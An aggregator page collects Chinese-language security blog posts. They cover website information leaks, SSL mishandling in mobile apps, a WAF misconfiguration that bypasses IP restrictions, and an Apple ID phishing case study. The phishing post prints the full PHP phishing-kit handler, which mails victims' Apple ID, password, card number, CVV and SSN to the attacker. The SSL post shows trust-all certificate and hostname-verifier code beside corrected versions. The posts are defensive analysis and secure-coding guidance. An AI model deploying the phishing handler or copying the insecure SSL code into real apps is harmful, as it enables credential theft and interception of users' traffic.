Aggregator

被遺忘的資訊洩漏－重點回顧

DEVCORE 戴夫寇爾
10 years 2 months ago
前言

在今年駭客年會企業場，我們分享了一場『被遺忘的資訊洩漏』。資訊洩漏是十幾年前就被一提再提的議題，在資訊安全領域中也是最最最基本該注意的事情，然而至今很多網站都還是忽略它，甚至連一些熱門網站都仍有資訊洩漏問題。議程中我們舉了大量的例子證明資訊洩漏其實可以很嚴重，希望能幫大家複習一下，如果網站沒有注意這些，會造成什麼樣的後果。議程投影片如下所示，就讓我們來總結一下吧！


DEVCORE 常利用的資訊洩漏

首先我們從過往滲透測試經驗中挑選了幾個常見的資訊洩漏問題，分別如下：

  • 管理介面洩漏 (p8-p19)
  • 目錄(Index of)洩漏 (p20-p28)
  • 錯誤訊息洩漏 (p29-p35)
  • 暫存、測試資訊 (p36-p46)
  • 版本控管 (p47-p55)
  • DNS 資訊洩漏 (p56-p63)

以上種種不同洩漏方式，可能會洩漏出系統環境資訊、程式碼內容、含有帳號密碼的設定檔等。透過這些資訊，駭客就能組織出一個有效的攻擊行動。我們甚至在過往的經驗中，只透過目標的資訊洩漏，就直接取得資料庫操作權限(詳見投影片 p65-p71)。

為了解目前一些熱門網站是否重視這些最基本的保護，我們實際對 alexa 台灣前 525 名的網站進行資訊洩漏的調查。

在管理介面和測試頁面洩漏的項目，我們用很保守的方式測試根目錄下是否存有 phpmyadmin 和 phpinfo 頁面，結果分別有 7% 和 9% 的網站有這樣的問題。這樣的結果非常令人訝異，畢竟受測網站都是知名且有技術力的網站，而且並非所有網站都使用 php 開發，再加上我們只是測試預設的命名，實際洩漏的情況會更多！

另一個值得一提的是版本控管洩漏問題，我們同樣保守的只針對版本控管軟體中 GIT 和 SVN 兩項進行調查。結果竟然有 10% 的網站有這樣的問題。這個現象非常嚴重！這個現象非常嚴重！這個現象非常嚴重！這個洩漏有機會能還原整個服務的原始碼，被攻擊成功的機率相當高！台灣熱門的網站裡，十個裡面就有一個存有這樣的問題，非常危險，煩請看到這篇文章的朋友能去注意貴公司的網站是否存在這樣的問題。

大數據資料蒐集

在這場議程中，我們還提到了另一個層次的資訊洩漏議題：當全世界主機的服務及版本資訊全部都被收集起來，會發生什麼樣的事情？

駭客擁有這樣的資料，就能夠在非常短暫的時間內篩選出有問題的主機，進行大量的入侵。我們利用類似的技術針對台灣主機快速的進行掃描，就發現了台灣有 61414 台主機可以被利用來做 DNS Amplification DDoS 攻擊、1003 台主機可以被利用來做 NTP Amplification DDoS 攻擊。也就是說，駭客可以在短時間內組織一支六萬多人的台灣大軍，可以針對他想要攻擊的目標進行攻擊。

利用相同的技術，我們也順便檢驗了前陣子非常熱門的 OpenSSL Heartbleed 問題。OpenSSL Heartbleed 被稱之為『近十年網路最嚴重的安全漏洞』，其嚴重程度可以想見，然而根據我們的觀察，台灣至今仍有 1480 台 HTTP 伺服器尚未修復，而台灣前 525 大熱門網站中，也有 21 個(4%)網站未修復。足見台灣網站對於資安的意識仍然不夠。

對於這樣海量收集資料衍生的資安議題，我們認為最大的受害者，是物聯網的使用者！就我們的觀察，物聯網的設備通常安全防護不佳，容易遭受到駭客攻擊，前陣子 HP 也出了一份報告指出，物聯網的設備有七成存在弱點，而且每台設備平均有 25 個弱點。除此之外，物聯網的設備不易更新，少有人會定期更新，更導致物聯網設備可以被大範圍的攻擊，進而滲透家用網路，危害使用者居家隱私。這是個未來需要持續關注的重要議題。

最後，我們用最近 SynoLocker 的案例為大數據資料蒐集作結，SynoLocker 是一款針對 Synology 的勒索軟體，去年底 Synology 官方已經推出新版修正問題，本月 SynoLocker 擴散至全世界，新聞一再強調需要更新 NAS，但我們針對台灣 1812 台對外開放的 Synology NAS 做統計，至今仍發現有 64％ 的使用者沒有更新，也就是這些 NAS 仍暴露在 SynoLocker 的風險中。這件事情又再次證明駭客有能力在短時間利用大數據資料找到攻擊目標，也順帶說明了台灣資安意識普遍不足的問題。

結論

在這次議題我們關注了很古老的資訊洩漏問題，並且發現目前台灣一些熱門網站仍然存在這樣的問題。資訊洩漏也許不是一件很嚴重的事情，但往往能激起駭客高漲的情緒，駭客會認為一個網站連最最最基本的資料保護都沒有做到，一定會存在其他資安問題，進而進行更大量的攻擊行為。而事實上，我們也從實例證明了其實資訊洩漏可以很嚴重，希望網站提供者能夠注重這個簡單可解決且重要的議題。

我們也提到了駭客透過平常大量的資料收集，在需要的時候能快速找到目標並且大範圍攻擊。這其中又以物聯網的用戶影響最多。面對這樣的議題，我們建議除了適當的隱藏(偽造)主機版本資訊以避免出現 0-Day 時成為首要攻擊目標。我們也提倡要對自己的服務做普查，了解自己到底對外開啟了什麼服務，以及關注自己使用的第三方套件是否有安全更新。

希望明年不需要再有一篇『依舊沒改變的資訊洩漏』！大家快點注意這件簡單的事情吧！

手機應用程式開發上被忽略的 SSL 處理

DEVCORE 戴夫寇爾
10 years 3 months ago

在網路上傳輸敏感資訊時，通常會使用 HTTPS 協定，讓客戶端與伺服器端對資料進行 SSL 加密處理，以降低資料在傳輸過程中被監聽或中間人攻擊的風險。HTTPS 的重要性逐漸被重視，Google 除了預設開啟 HTTPS 之外，未來更會將 HTTPS 的網站搜尋排名加分。但為了確保傳輸的安全，過程中客戶端會核對伺服器的憑證鏈 (certificate chain) 是否有效，若判定為無效時會作出警告。(詳見Wikipedia)

而在手機應用程式上 HTTPS 同樣重要，例如網路銀行、線上購物等。系統同樣會做憑證核對，但對被判定為無效的憑證就需要開發者作出額外的處理了。許多手機應用程式開發商在這個部分並沒有妥善處理好，以下我們就幾個常見的成因做基本的探討。

會被系統判定為無效的常見成因？

在探討該如何處理這個問題之前，這裡先列出一些有可能被系統判定成無效憑證的成因。

1. 系統支援問題 1

在 Android 2.2 及之前的版本，對 SSL 的支援上存在著一些問題，像是 SNI 和 Multiple Chain。而 Android 上不接受缺少中繼 CA 憑證的憑證鏈，例如：https://egov.uscis.gov/

2. 相關憑證未被預載到系統中

以 GCA 簽發的 SSL 憑證為例，在 Windows 上被判定為有效，但在 iOS 系統上卻因為 CA 不在系統的預載清單中而被判定為無效。

3. 使用自行簽發的憑證

這種情況常出現在應用程式開發階段的內部測試環境中，由於是內部測試環境一般都不會花錢去申請憑證。

4. 連線被中間人(MITM)攻擊

當連線被 MITM 攻擊時，使用者原本的連線目的地會被導到攻擊者的設備上，此時伺服器憑證也會被取代成攻擊者自行簽發的憑證，造成原本正常的連線出現異常。

開發者該如何處理？

理想情況下，客戶端的支援度充足，伺服器憑證鏈的來源及設定正確，只需使用系統原有的方式去檢查憑證即可達到安全效果。但若非得要相容低版本系統或是自行簽發憑證的時候，就得自行做額外的檢查。

在處理方式上，普遍是使用憑證綁定 (certificate pinning) 的方式，把需要比對的憑證預先存放在應用程式裡，待要進行 SSL Handshake 的時候再與伺服器的憑證做比對。

可是在實務上，大多開發人員採用消極的方法，把錯誤警告略過讓連線繼續進行，使得本來使用 SSL 加密連線帶來的安全性形同虛設。據 2012 年 Why Eve and Mallory Love Android: An Analysis of SSL (In)Security on Android 這篇論文指出，在 Google Play 上 13500 個免費熱門應用程式當中，共有 1074 個 (8%) 應用程式因錯誤的 SSL 處理而導致使用者陷入 MITM 攻擊的風險中。

下面我們整理了一些在手機應用開發上，常見的 SSL 處理錯誤，以及其對應適當的處理方法。

Android 錯誤處理情況1 1 2 3 4 @Override public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { handler.proceed(); }

當透過 WebView 元件訪問 HTTPS 網站發生 SSL 錯誤時，會觸發 onReceivedSslError 這個函數。根據官方文件指出，可藉由執行 handler.proceed() 或是 handler.cancel() 來決定是否讓連線繼續進行。在不覆寫這函數的情況下預設會執行 handler.cancel()。而上面的做法卻讓異常的連線繼續進行了。

較為恰當的做法是使用 handler.cancel() 讓連線終止，或是限制在開發階段才執行 handler.proceed()。像 Apache Coradova 和 Facebook Android SDK 皆有對這部分做控管。

Android 錯誤處理情況2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 TrustManager[] trustAllManager = new TrustManager[] { new X509TrustManager() { @Override public void checkClientTrusted(X509Certificate[] chain, String authType) { } @Override public void checkServerTrusted(X509Certificate[] chain, String authType) { } @Override public X509Certificate[] getAcceptedIssuers() { return null; } } }; SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(null, trustAllManager, null);

本用來檢查伺服器憑證的 checkServerTrusted 被留空，導致警告被略過。Google 建議不要自行實作 TrustManager，而是把憑證放到 KeyStore，再把 KeyStore 放到 TrustManagerFactory，最後從 TrustManagerFactory 產出相關的 TrustManager，開發文件中有提供處理的範例。OWASP 的 WIKI 上也有提供自行實作 TrustManager 做 certificate pinning 的範例。2

下面節錄 Android 官方文件上的範例：

1 2 3 4 5 6 7 8 9 10 11 12 KeyStore keyStore = ...; String algorithm = TrustManagerFactory.getDefaultAlgorithm(); TrustManagerFactory tmf = TrustManagerFactory.getInstance(algorithm); tmf.init(keyStore); SSLContext context = SSLContext.getInstance("TLS"); context.init(null, tmf.getTrustManagers(), null); URL url = new URL("https://www.example.com/"); HttpsURLConnection urlConnection = (HttpsURLConnection) url.openConnection(); urlConnection.setSSLSocketFactory(context.getSocketFactory()); InputStream in = urlConnection.getInputStream(); Android 錯誤處理情況3 1 2 3 URL url = new URL("https://www.example.com/"); HttpsURLConnection conn = (HttpsURLConnection) url.openConnection(); conn.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);

或是

1 2 3 4 5 6 HostnameVerifier allHostVerifier = new HostnameVerifier() { @Override public boolean verify(String hostname, SSLSession session) { return true; } };

上述寫法略過了憑證中的 hostname 檢查，導致即使連線端與憑證中指定的 hostname 不一致也能通過。較為恰當的做法是不特別設定，讓他使用預設的 DefaultHostnameVerifier，或是採用更為嚴謹的 StrictHostnameVerifier。

iOS 錯誤處理情況1 1 2 3 4 5 6 @implementation NSURLRequest (IgnoreSSL) + (BOOL)allowsAnyHTTPSCertificateForHost:(NSString*)host { return YES; } @end

此情況使用到 Framework 中的 Private API，雖然這種寫法會因為不能通過 Apple 的審查而不會出現在 AppStore 上(使用回避技巧不在這討論範圍內)，但仍有機會在無需經過 Apple 審查的 Enterprise App 中使用。較為適當的做法是用 “#if DEBUG”，”#endif” 包起來以確保該段程式在編譯時只能對開發中的 debug 版上有作用。

iOS 錯誤處理情況2 1 2 3 4 5 6 7 8 9 10 - (BOOL)connection:(NSURLConnection *)connection canAuthenticateAgainstProtectionSpace:(NSURLProtectionSpace *)protectionSpace { return [protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]; } - (void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge { if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) [challenge.sender useCredential:[NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust] forAuthenticationChallenge:challenge]; [challenge.sender continueWithoutCredentialForAuthenticationChallenge:challenge]; }

上面的做法會讓使用 NSURLConnection 的連線略過憑證檢查，容許任意憑證通過。下面節錄 OWASP WIKI 上的範例：

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 - (void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge: (NSURLAuthenticationChallenge *)challenge { if ([[[challenge protectionSpace] authenticationMethod] isEqualToString: NSURLAuthenticationMethodServerTrust]) { do { SecTrustRef serverTrust = [[challenge protectionSpace] serverTrust]; if(nil == serverTrust) break; /* failed */ OSStatus status = SecTrustEvaluate(serverTrust, NULL); if(!(errSecSuccess == status)) break; /* failed */ SecCertificateRef serverCertificate = SecTrustGetCertificateAtIndex(serverTrust, 0); if(nil == serverCertificate) break; /* failed */ CFDataRef serverCertificateData = SecCertificateCopyData(serverCertificate); [(id)serverCertificateData autorelease]; if(nil == serverCertificateData) break; /* failed */ const UInt8* const data = CFDataGetBytePtr(serverCertificateData); const CFIndex size = CFDataGetLength(serverCertificateData); NSData* cert1 = [NSData dataWithBytes:data length:(NSUInteger)size]; NSString *file = [[NSBundle mainBundle] pathForResource:@"random-org" ofType:@"der"]; NSData* cert2 = [NSData dataWithContentsOfFile:file]; if(nil == cert1 || nil == cert2) break; /* failed */ const BOOL equal = [cert1 isEqualToData:cert2]; if(!equal) break; /* failed */ // The only good exit point return [[challenge sender] useCredential: [NSURLCredential credentialForTrust: serverTrust] forAuthenticationChallenge: challenge]; } while(0); } // Bad dog return [[challenge sender] cancelAuthenticationChallenge: challenge]; }

處理方式與前面的 Android 情況2類同，做了 certificate pinning。

iOS 錯誤處理情況3 1 2 3 4 5 6 7 8 9 10 11 12 13 - (void) URLSession:(NSURLSession *)session didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition, NSURLCredential *credential))completionHandler { NSURLProtectionSpace * protectionSpace = challenge.protectionSpace; if ([protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) { SecTrustRef serverTrust = protectionSpace.serverTrust; completionHandler(NSURLSessionAuthChallengeUseCredential, [NSURLCredential credentialForTrust: serverTrust]); } else { completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil); } }

與前面 NSURLConnection 的情況類同，只是這裡使用到的是 iOS7 新增的 NSURLSession 元件。對應的處理方式如下：

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 - (void) URLSession:(NSURLSession *)session didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition, NSURLCredential *credential))completionHandler { if ([[[challenge protectionSpace] authenticationMethod] isEqualToString:NSURLAuthenticationMethodServerTrust]) { SecTrustRef serverTrust = [[challenge protectionSpace] serverTrust]; if (serverTrust != NULL) { OSStatus status = SecTrustEvaluate(serverTrust, NULL); if(!(errSecSuccess == status)) { completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge, nil); return; } NSData *localCertData = [NSData dataWithContentsOfFile:[[NSBundle mainBundle] pathForResource:@"random-org" ofType:@"der"]]; SecCertificateRef remoteServerCert = SecTrustGetCertificateAtIndex(serverTrust, 0); CFDataRef remoteCertData = SecCertificateCopyData(remoteServerCert); BOOL isMatch = [localCertData isEqualToData: (__bridge NSData *)remoteCertData]; CFRelease(remoteCertData); if (isMatch) { completionHandler(NSURLSessionAuthChallengeUseCredential, [NSURLCredential credentialForTrust:serverTrust]); } else { completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge, nil); } } } else { completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil); } } 對 WebView 的一些補充

在對 WebView 做處理上，除了對 SSL 錯誤直接略過外，目前無論是在 Android 還是 iOS 上，SDK API 都尚未直接提供方法讓開發者能在 SSL Handshake 的途中作 Server Certificate Pinning。其中一個替代方法是，利用其他能夠作 Pinning 的元件將資料下載回來，接著把資料傳到 WebView 進行讀取，避開原本用 WebView 直接設定連線網址。蘋果公司有提供這種處理的範例。

結語

本來為了提高安全性而使用的 SSL 加密連線，卻由於程式處理不當讓原來的保護形同虛設。觀念不足與為節省時間而沒做好處理相信是主要原因。網路上大量的文章在引指開發者略過錯誤警告的時候，卻沒有提醒他們這樣做帶來的影響，也助長了不當處理的發生。

除了 SSL 處理問題外，手機應用程式開發還有許多要注意的安全問題，像是 OWASP 列出的 Top 10 Mobile Risks、由日本智慧型手機安全協會發佈 Android Application Secure Design/Secure Coding Guidebook 裡面所建議的。開發商有責任做好安全把關以保障雙方權益。

參考

  1. Google 基於效能及有效性的考量，在 Android 系統上預設停用憑證撤銷檢查
     ↩

  2. OWASP 的 Android 範例中，內含的 PUB_KEY 是錯誤的 (最後更改日期 2014/08/14) ↩

在非越狱设备上Hook C++的虚函数是否可能？

Proteas的专栏
10 years 3 months ago
关于C++中虚函数与普通函数的区别，大家可以参考：《深度探索C++对象模型》。 对于Hook普通的C++函数，与Hook C函数没什么太大区别，主要的却别在于C++有名称改编，原理是在函数入口加入跳转指令。 这块儿在Windows平台上有微软的Detours，也有开源的EasyHook。在Mac平台上有MobileSubstrate，相信做过越狱开发的对这个都比较熟悉。 所有上面列到的工具在
Proteas

你的USB设备还安全吗？USB的安全性已从根本上被打破！ - r00tgrok

博客园_知彼知己，百战不殆
10 years 3 months ago
前言： USB设备使用方便，但也可能被用来携带恶意软件、病毒，感染计算机系统。通过禁用自动播放功能、杀毒软件查杀、不定期的对设备进行格式化等操作可以确保它是干净的。但它存在的安全问题要比我们想象的更深，问题不仅在于它携带了什么，还在于通过它的工作方式就能产生安全隐患。 USB隐藏的危险： ...
r00tgrok

一次部署HTTPS的相关事件引发的思考 - r00tgrok

博客园_知彼知己，百战不殆
10 years 3 months ago
前言： 上周五快要下班的时候，突然收到通知客户希望了解一下部署HTTPS的流程，这种事情谁听了都会有几分诧异的。因为这件事虽然和工作有一定的相关度，但平时不会走这个方向，实际上也较少接触。此外，客户手下应该不缺人，做运维和开发的肯定比我更懂这个，但情况却和我想的不一样。正文： 客户有需求，就应...
r00tgrok

設備不良設定帶來的安全風險：以 WAF 為例

DEVCORE 戴夫寇爾
10 years 4 months ago

過去談到網站安全，通常會使用防火牆或 IDS 進行防護。但近年來網站安全議題都是以網頁應用程式的漏洞居多，無法單靠防火牆阻擋。以 OWASP Top 10 2013 的第一名 Injection 而言，多半是程式撰寫方法不嚴謹所造成，因此才有了網頁應用程式防火牆 (Web Application Firewall, WAF) 的出現。

有了 WAF 就是萬靈丹了嗎？就算有各種資安設備，但缺乏安全的設定，有的時候反而會讓系統陷入安全風險中。我們就以 Reverse Proxy 或 WAF 設備來探討不佳設定帶來的安全風險。

WAF 搭配不佳的設定會帶來什麼危害？

以常見的 mod_proxy 搭配 mod_security 的方案來看，通常使用 Reverse Proxy 或 Transparent Proxy 為其架構，透過 Proxy 的方式在 Client 與 Web Server 之間，對 HTTP Request / Response 進行過濾；以 HTTP Request 為例，當 WAF 偵測到 Client 端的請求中有 SQL Injection 語法時候，將會阻斷這個連線防止駭客攻擊。

在這種架構下的 WAF 看似對後端的伺服器多了一份保障，但也並非完美。其問題是後端的 Web Server 在透過 WAF 存取的情況下，無法得知來自 Client 端的來源 IP，相反的 Web Server 能看到的 IP 都將是 WAF 的 IP (REMOTE ADDR)，在這種情況下可能造成 Client 端可以存取受 IP 來源限制的系統。延伸閱讀：如何正確的取得使用者 IP？。

以下圖為例，網站本身只允許 192.168.x.x 的網段連線，如果今天 Client IP 是 1.1.1.1，將無法存取該網站。

但在有建置 WAF 的架構之下，Client 透過 WAF 存取網站，網站得到的 IP 會是 WAF 的 IP：192.168.1.10，因此允許連線，Client 因而取得原本需在內網才能存取的資料。

實際案例

我們以常見的 Web Server 整合包 XAMPP 為例，在預設的 http-xampp.conf 設定檔中限制了一些管理頁面只能由 Private IP 存取，如 /security 、 /webalizer 、 /phpmyadmin 、 /server-status 、 /server-info 等，此時 WAF 的 IP 若為 Private IP，依 XAMPP 預設設定，WAF 將可以存取這些受 IP 限制的資源，當 WAF 存取完資源後又將內容回傳給 Client 端。

http-xampp.conf 預設設定

<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))"> Order deny,allow Deny from all Allow from ::1 127.0.0.0/8 \ fc00::/7 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 \ fe80::/10 169.254.0.0/16 ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var </LocationMatch>

如果照著預設的設定，以現成的案例來看，能夠存取 Apache Server 的系統狀態，其中可以看到網站所有連線以及 URI 等資料。

並且可以直接讀取 phpMyAdmin 介面，並且至資料庫中新增、修改、刪除資料，甚至直接上傳 webshell 進入主機。

XAMPP 也內建了網站記錄分析工具 webalizer，透過這個介面可以知道網站所有進入點的流量、統計數據等。

小結

如果建置了 WAF，有關 IP 的設定必須要從 WAF 支援的 HTTP Header 中取出使用者的 IP (REMOTE_ADDR)，才能讓原本網站的 IP 限制生效。在這種設定錯誤或是對 WAF 架構不瞭解的情況下，WAF 反而成為駭客繞過 Private IP 限制的跳板，就如同為駭客開了一個後門。因此在使用資安設備時，必須瞭解其架構。別讓資安設備、安全機制，反而使得伺服器更不安全。

HTML5攻防向量 - r00tgrok

博客园_知彼知己，百战不殆
10 years 4 months ago
From：HTML 5 Morden Day Attack And Defense Vectors Autor：Rafay Baloch摘要根据Powermapper出版的统计，他们分析的Web页面中超过50%使用了HTML5 DOCTYPE，这意味着它们是HTML5 web应用HTML5非常流行，...
r00tgrok

Apple ID 釣魚郵件案例

DEVCORE 戴夫寇爾
10 years 4 months ago

今天又有不怕死的人寄來釣魚信了，這次是騙取 Apple ID。讓我們來看看這封信，其中內容有非常多破綻，也已經被 Gmail 直接定為 Spam 了，非常可憐。除了信件之外，釣魚的網頁本身也很值得我們借鏡，讓我們來看看這次的釣魚郵件案例。

如何判別釣魚信呢？

先來談談要如何判別釣魚信呢。我們可以從四個要素來看：

  1. 標題
  2. 寄件者
  3. 內文
  4. 連結
標題

首先，這封信的標題非常假，一般來說公司不會使用這類標題，這種判斷比較需要經驗。釣魚信件會使用非常聳動、吸引你去做動作的標題。例如常見的「你的帳號遭到停用」、「更換帳號資訊通知」等。點下連結就會帶你去假造的頁面騙你輸入密碼，千萬別傻傻當真。

寄件者

寄件者通常是釣魚信一定會加強假造的部分，利用官方存在的信箱或是他人的信箱寄信，加強你的信任。不過需要特別注意的是：

寄件者的欄位是可以假造、隨意填寫的，千萬不要直接信任。

以這封信為例，寄件者「[email protected]」是不存在的。當然這個欄位可以假造，但連假造都錯，實在是非常不用心。

內文

信件的內文就是精華了，要怎麼做出一封很像官方的信件，又要誘使人去點選，實在是一門藝術。精心設計的釣魚信、社交工程、APT 郵件，通常都會針對受害者客製化，調查身邊的社交圈、常談的話題、常用的服務、會點擊的郵件，來製造一個一定會中獎的信件。

當然很多時候攻擊者調查不足，還是會出現蛛絲馬跡的。例如來自中國的惡意郵件，常會出現「尊敬的用戶您好」這種在台灣人眼中看了很彆扭的詞彙。如果出現了不常見的用詞，就非常有可能是一個假造的惡意郵件，千萬不要傻傻的點選連結或附件。

再回頭來以這封信為例，最大的破綻除了非制式的內文之外，就屬署名了。明明是假造「Apple Customer Support」的來信，最下面卻簽署「Microsoft Privacy and cookies Developers」，有沒有搞錯？可以再用點心嗎？

連結

最後的重點就是信件中的釣魚連結了，通常這個連結會帶你前往一個長得跟官方網站一模一樣的登入頁面，騙你輸入帳號密碼登入來竊取。在點選超連結之前，一定要先看一下這個連結前往的位置是不是官方的位置，例如是 Apple 的信件通常就會是前往 Apple.com 自己的網域名稱。當然更要特別注意的是假造的網域名稱，例如使用「App1e.com」來偽裝成「Apple.com」，也是非常常見的。

這封信中使用了最不用心的用法，就是直接拿釣魚網站的 URL 來當連結，一來長得跟官方網域根本不像，二來落落長的連結，到底是想要騙誰點選呢？

信件標頭藏有攻擊者的蛛絲馬跡

收到惡意郵件、釣魚郵件，一定要好好看信件的標頭檔（Header）。裡面通常可以看到攻擊者發信的來源，例如是自己架設的發信伺服器或者是使用肉雞來發信。

信件標頭最重要的就是「Received」這個部分，要由下往上閱讀。從這邊我們可以看到信件的流向，從攻擊發起者到發信伺服器，中間經過其他伺服器的轉送，最後到收到釣魚信件的郵件伺服器。因此從最下面的 Received 位置，我們可以知道攻擊者是從「[email protected]」來寄送信件的，因此 cloud.httpdns.co 很有可能就是攻擊者的伺服器，或者是被駭來發信的伺服器。

如果覺得信件的標頭太長難以閱讀，可以利用 Google 提供的工具「Google Apps Toolbox - Messageheader」。只要把信件的標頭貼上，他就會自動分析信件的流向，如下圖。

釣魚網頁，也請你注重安全啊。

接著我們來看一下釣魚頁面。通常「正常」的釣魚頁面都會做得跟官方一模一樣，因為通常攻擊者都會直接把官方網站上面的 HTML 直接下載下來修改。如果有做得不像的，就真的是太不用心的攻擊者。

我們可以看到這個釣魚頁面做得非常像，上面要你輸入帳號、密碼、姓名、生日、信用卡號等資訊，非常惡劣。唯有網址實在是太假，希望沒有人眼拙真的以為這是 Apple 的網站。

秉持的資安研究員的好習慣，我們把網址子目錄去掉，看看網站的根目錄長什麼樣子，結果讓人跌破眼鏡。

釣魚網站也請你注重安全啊！這個網站大剌剌的開著目錄索引，讓我們可以看到網站上的各個目錄、檔案。除了 Apple 的釣魚網頁之外，甚至有釣魚網頁的原始碼「connect-info.zip」，更有著其他釣魚網頁在同個站上。

既然可以瀏覽，那我們來看看釣魚網頁的原始碼寫得怎樣。抓下來解開之後會看到完整的釣魚網頁，以及接收受騙人資料的主程式「Snd.php」。

釣魚網頁的程式寫得非常簡單，僅把網頁上接收到的被害人資料、IP，寄送到他的信箱「 [email protected] 」，寄送完畢後會自動導向到官方的頁面偽裝。

如果釣魚網頁寫得不好，甚至我們有機會可以攻擊他釣魚網頁上的漏洞，直接取得主機的權限，解救世人。從原始碼我們一目了然釣魚網頁的行為、寫法，也可以尋找有無攻擊的機會。

釣魚網頁原始碼備份 <?php $ip = getenv("REMOTE_ADDR"); $hostname = gethostbyaddr($ip); $bilsmg .= "------------+| AppLe VbV |+------------\n"; $bilsmg .= "Apple ID : ".$_POST['donnee000']."\n"; $bilsmg .= "Password : ".$_POST['donnee001']."\n"; $bilsmg .= "Full Name : ".$_POST['donnee01']."\n"; $bilsmg .= "Date of Birth : ".$_POST['donnee02']."/"; $bilsmg .= "".$_POST['donnee3']."/"; $bilsmg .= "".$_POST['donnee4']."\n"; $bilsmg .= "Number Of Credit Card : ".$_POST['donnee5']."\n"; $bilsmg .= "CVC (CVV) : ".$_POST['donnee6']."\n"; $bilsmg .= "Expiration Date : ".$_POST['donnee7']."/"; $bilsmg .= "".$_POST['donnee8']."\n"; $bilsmg .= "Social Security Number : ".$_POST['donnee9']."\n"; $bilsmg .= "------------+| APpLe VBV |+------------\n"; $bilsmg .= "Fr0m $ip \n"; $bilsnd = "[email protected]"; $bilsub = "Apple Result | Fr0m $ip"; $bilhead = "From: Apple Results <[email protected]>"; $bilhead .= $_POST['eMailAdd']."\n"; $bilhead .= "MIME-Version: 1.0\n"; $arr=array($bilsnd, $IP); foreach ($arr as $bilsnd) mail($bilsnd,$bilsub,$bilsmg,$bilhead); header('Location:https://itunesconnect.apple.com/WebObjects/iTunesConnect.woa/'); ?> 釣魚郵件不死，別再把自己當成肥羊了！

釣魚攻擊最早從 1995 年就開始盛行，一直到快 20 年後的今天，都還是一個非常簡單又有效率的攻擊手法。收到郵件千萬別傻傻的輸入自己的個資、帳號密碼，仔細看一下攻擊者的破綻，別讓他得逞了。

如果有發現疑似釣魚網站，又無法確認，可以到 PhishTank 來查查看，找到釣魚網站也可以投稿一下幫助其他人！

Managed ad